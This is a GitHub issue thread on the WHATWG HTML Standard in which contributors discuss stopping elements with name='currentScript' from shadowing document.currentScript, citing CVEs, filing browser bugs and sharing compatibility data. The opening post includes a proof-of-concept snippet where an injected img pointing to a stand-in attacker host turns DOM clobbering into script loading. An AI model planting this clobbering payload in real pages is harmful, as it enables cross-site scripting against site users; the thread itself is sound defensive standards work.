Prevent currentScript from being overridden on document via name='' #10687

juj · 2024-10-08T11:35:22Z

What is the issue with the HTML Standard?

It has been reported that an attacker that has DOM clobbering powers (weak), can potentially escalate it to XSS attack (stronger).

Several public CVEs have been reported, e.g.

https://vulert.com/vuln-db/CVE-2024-45389
GHSA-gcx4-mw62-g8wm
https://nvd.nist.gov/vuln/detail/CVE-2024-45812
GHSA-4vvj-4cpr-p986

These all revolve around the fact that

<html><body>
<img name='currentScript' src='http://bad.attacker.site.com/foo.js'>
<script>
var script = document.createElement('script');
var scriptDir = document.currentScript.src.substr(0, document.currentScript.src.lastIndexOf('/'));
script.src = `${scriptDir}/sibling.js`;
</script></body></html>

That is, if attacker has the power to inject a DOM element with name='currentScript' (like add an image in a forum in an unsafely implemented manner), and if the site then uses document.currentScript.src to infer what the path to the current script is, to load another script relative to it, an attacker has the capability to elevate their DOM clobber into a XSS opportunity.

I raised this in whatwg/dom#1315 where it was closed as duplicate of #2212.

The ticket #2212 discussed a general opt-out solution, though it feels that a) a solution to this security aspect should not be opt-out, and b) dealing with the specific pattern of document.currentScript alone would be worth it, as that would plug that whole class of CVEs linked above from being able to occur.

Progress in #2212 has been slow due to concerns of site breakage. I think it would be safe to argue that preventing <img name='currentScript' src='http://bad.attacker.site.com/foo.js'> from overwriting document.currentScript, i.e. handling the overwrite of name='currentScript' alone should not have these backwards compatibility concerns of site breakage, and would be possible to be undertaken separately from #2212, which is currently in the progress of acquiring user statistics?

Reading the linked CVEs, it looks like that would cover all the CVEs above, and stop any future CVEs from this category from being possible. It would also prevent weird interactions in downstream libraries, like emscripten-core/emscripten#22688, from needing to take place.

Would it be ok to blacklist name='currentScript' on its own from replacing document.currentScript? What do you think?

The text was updated successfully, but these errors were encountered:

annevk · 2024-10-08T12:06:34Z

currentScript currently only works for classic scripts (i.e., not for module scripts) and only as long as they are found in the document tree (i.e., not when they are in a shadow tree).

While I suppose we could add a special case for it in Document object's named getter, it's not really an API that universal scripts ought to be using anyway. I guess I wouldn't oppose some kind of push for this, but it's not clear to me it's worth the effort.

Sec-ant · 2024-10-08T12:49:30Z

document.currentScript presents in the outputs of widely used bundle tools like: webpack / rollup / vite / rspack / tsup / modern.js / umi, and wasm compiling and packing tools like emscripten / wasm-bindgen. I believe many can benefit if this is prevented from the source.

WebReflection · 2024-10-08T14:07:05Z

it's not really an API that universal scripts ought to be using anyway

we use it a lot in PyScript, as scripts there (the only valid data node we could use 'cause Custom Elements won't work the same) might need it, so we need to grab it and forward it to the underlying WASM interpreter.

All I am saying is that use cases for it are more common than you think (or measure, as I think you measure only JS code and not WASM related code too).

juj · 2024-10-08T14:26:12Z

it's not really an API that universal scripts ought to be using anyway

Looking at MDN: document.currentScript there are no markings of the API being deprecated or obsoleted. This comment is the first I hear about this sentiment. If using document.currentScript is outdated, there is no way today for developers to discover that they should no longer be using it. Especially if we are calling it outdated on grounds of potential security problems, such a conclusion should be widely publicized in the spec and/or MDN as a deprecation warning.

Also, using modules is not a drop-in replacement to many projects, but can require extensive code refactoring - so getting developers to migrate is not a quick feat.

it's not clear to me it's worth the effort

In the infosec community, it looks like publishing CVEs based on this <img name='currentScript'> privilege escalation is fair game, and based on the closing notes in this comment ("while checking [CVE] alerts across my projects"), I get an impression that automated JS code security scanners flag uses of document.currentScript.src because of this DOM clobbering pattern. It was clearly worth to them, and I do think that the common "zero-value CVE reports" argument does not apply here. (the behavior was highly surprising when I first read about this)

In that light, I think it would be worthwhile for WhatWG to tend to this, rather than leaving it to all site developers and the above listed middleware vendors to individually learn about and argue if it's a legitimate thing or not. The downsides seem practically nonexistent?

annevk · 2024-10-08T15:20:25Z

I'm not opposed to someone driving this. https://whatwg.org/working-mode#changes describes the rough process. If there is someone willing to take this on (and this can be literally anyone, including everyone who participated in this thread thus far; the WHATWG community consists of everyone who participates in the development of its standards after all) I suppose we could label this issue agenda+ to gauge implementer interest.

@whatwg/documentation perhaps it's worthwhile documenting that currentScript also does not work inside of shadow trees. And that it has generally fallen out of favor as per the note in the HTML Standard and #1013.

juj · 2024-10-09T09:13:14Z

I have a little bit of experience for creating WPT tests from the interaction we had before. To get going, I added a WPT test at web-platform-tests/wpt#48536 . Of course to be merged only after implementers agree.

juj · 2024-10-09T09:18:47Z

I tried to search where in the HTML spec the connection of DOM element name='foo' -> document.foo is made. I found only this: https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#naming-form-controls:-the-name-attribute

though that relates to forms, and does not mention the document object.

Should the HTML spec acquire some kind of wording about this somewhere?

juj · 2024-10-09T09:47:41Z

Filed implementation bugs at

Chrome: https://issues.chromium.org/issues/372269621
Firefox: https://bugzilla.mozilla.org/show_bug.cgi?id=1923580
Safari: https://bugs.webkit.org/show_bug.cgi?id=281129

annevk · 2024-10-09T11:04:56Z

Thanks @juj for taking this on! The named getter algorithm for Document objects is defined here (getter object (DOMString name); is the relevant bit in IDL): https://html.spec.whatwg.org/multipage/dom.html#dom-document-nameditem

smaug---- · 2024-10-09T13:26:00Z

Blocklisting only currentScript name would help with this one particular case. But if sites let one to include unsanitized html, one could still override many other features on document, and thus break the page.
This is a well known, old issue, and I'd expect sites to sanitize the included html.

But it would be great if this could be fixed in some generic way. I think we need first data about how much sites rely on https://html.spec.whatwg.org/multipage/dom.html#dom-document-nameditem
Or maybe https://chromestatus.com/metrics/feature/timeline/popularity/4872 is about that? That seems quite low
(There is also https://chromestatus.com/metrics/feature/timeline/popularity/4873)
One problem changing the current setup is that if one adds new properties to Document, those might break existing sites.

juj · 2024-10-09T14:00:32Z

Blocklisting only currentScript name would help with this one particular case.

Yes, that is right. Originally I too asked "let's fix all the cases" in whatwg/dom#1315, but @annevk pointed out such a request was duplicate of #2212 , which
a) has been open since 2016 with no urgency,
b) has a concern of breaking compatibility with existing sites, and
c) was raised with no knowledge of being a security related request.

I'd expect sites to sanitize the included html.

Well, yes, after I saw this behavior: me too. I've been developing HTML/JS for well more than a decade and only learned about this behavior this week. When I did, I also expected that browsers would have sane behavior out of the box, i.e. that they would not allow document.currentScript to be overridden like this; but expecting others to do have done the sane thing doesn't always work out.

Given that the CVEs keep on coming, it does not seem that asking developers to sanitize would be the best approach (there will always be some who fail to do it, just like browser vendors have failed here), since it means that every developer has to learn about this issue independently, making it harder to write safe code out of the box.

This is a well known, old issue

I think this makes the problem more pertinent to solve, instead of diminishing/dismissing the trouble. Enough is enough?

it would be great if this could be fixed in some generic way

When I look at the CVEs, they all hinge on this one pattern that document.currentScript.src happens to collide with the .src property when a <img name='currentScript src='...'> is added. So in order to mute the CVEs from being possible, it is enough to get this document.currentScript hole plugged.

one could still override many other features on document, and thus break the page.

That is correct. In emscripten-core/emscripten#22688 (comment) I examined all the various ways that Emscripten content for example could be broken by using other names. But when looking at all the other names, there does not seem to exist a good way to escalate attack vectors. That is, the DOM clobering attack privilege fizzles to a Denial of Service attack, which is arguably a lesser problem than a XSS scripting attack, which all seems to revolve around document.currentScript.src. So I think tending to this one property as a special case does have value, and it can avoid the statistics gathering problem of #2212.

zcorpan · 2024-10-10T08:58:15Z

I think it's worth investigating if it's possible to change this so that standard properties on document don't get shadowed.

To that end I queried httparchive to see which pages trigger the DOMClobberedShadowedDocumentPropertyAccessed use counter in Chrome, and then parsed those pages to find which properties used in the relevant elements' name and id attributes.

Findings:

There are 197 matching pages in the httparchive dataset (total number of pages is 12,098,307).

The name/id values and the number of pages with that value:

Name/ID	Page Count
hidden	38
body	29
cookie	26
title	25
head	5
links	5
domain	5
images	4
all	2
forms	1

See https://github.com/zcorpan/document-clobbering-props for the methodology (I used chatgpt to help write the scripts) and https://github.com/zcorpan/document-clobbering-props/blob/main/results_categorized.csv for further compat analysis of individual pages. For example, for pages that have <form name=cookie>, do they really expect document.cookie to return the form element?

This was referenced Oct 8, 2024

Provide an opt-out for inputs overriding form DOM API #2212

Open

fix: DOM Clobbering CVE emscripten-core/emscripten#22688

Open

This comment was marked as off-topic.

Sign in to view

This comment was marked as duplicate.

Sign in to view

w3cbot mentioned this issue Oct 9, 2024

Prevent currentScript from being overridden on document via name='' w3c/security-review#234

Open

juj mentioned this issue Oct 9, 2024

Add test to verify that document.currentScript.src should not get clobbered by a DOM element with name='currentScript'. web-platform-tests/wpt#48536

Open

annevk added the agenda+ To be discussed at a triage meeting label Oct 9, 2024

past removed the agenda+ To be discussed at a triage meeting label Oct 10, 2024

past mentioned this issue Oct 12, 2024

Upcoming WHATNOT meeting on 2024-10-10 #10666

Closed

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Prevent currentScript from being overridden on document via name='' #10687

Prevent currentScript from being overridden on document via name='' #10687

juj commented Oct 8, 2024 •

edited

Loading

annevk commented Oct 8, 2024

Sec-ant commented Oct 8, 2024 •

edited

Loading

WebReflection commented Oct 8, 2024 •

edited

Loading

This comment was marked as off-topic.

juj commented Oct 8, 2024

annevk commented Oct 8, 2024 •

edited

Loading

This comment was marked as duplicate.

juj commented Oct 9, 2024

juj commented Oct 9, 2024 •

edited

Loading

juj commented Oct 9, 2024

annevk commented Oct 9, 2024

smaug---- commented Oct 9, 2024

juj commented Oct 9, 2024 •

edited

Loading

zcorpan commented Oct 10, 2024 •

edited

Loading

Prevent currentScript from being overridden on document via name='' #10687

Prevent currentScript from being overridden on document via name='' #10687

Comments

juj commented Oct 8, 2024 • edited Loading

What is the issue with the HTML Standard?

annevk commented Oct 8, 2024

Sec-ant commented Oct 8, 2024 • edited Loading

WebReflection commented Oct 8, 2024 • edited Loading

This comment was marked as off-topic.

juj commented Oct 8, 2024

annevk commented Oct 8, 2024 • edited Loading

This comment was marked as duplicate.

juj commented Oct 9, 2024

juj commented Oct 9, 2024 • edited Loading

juj commented Oct 9, 2024

annevk commented Oct 9, 2024

smaug---- commented Oct 9, 2024

juj commented Oct 9, 2024 • edited Loading

zcorpan commented Oct 10, 2024 • edited Loading

juj commented Oct 8, 2024 •

edited

Loading

Sec-ant commented Oct 8, 2024 •

edited

Loading

WebReflection commented Oct 8, 2024 •

edited

Loading

annevk commented Oct 8, 2024 •

edited

Loading

juj commented Oct 9, 2024 •

edited

Loading

juj commented Oct 9, 2024 •

edited

Loading

zcorpan commented Oct 10, 2024 •

edited

Loading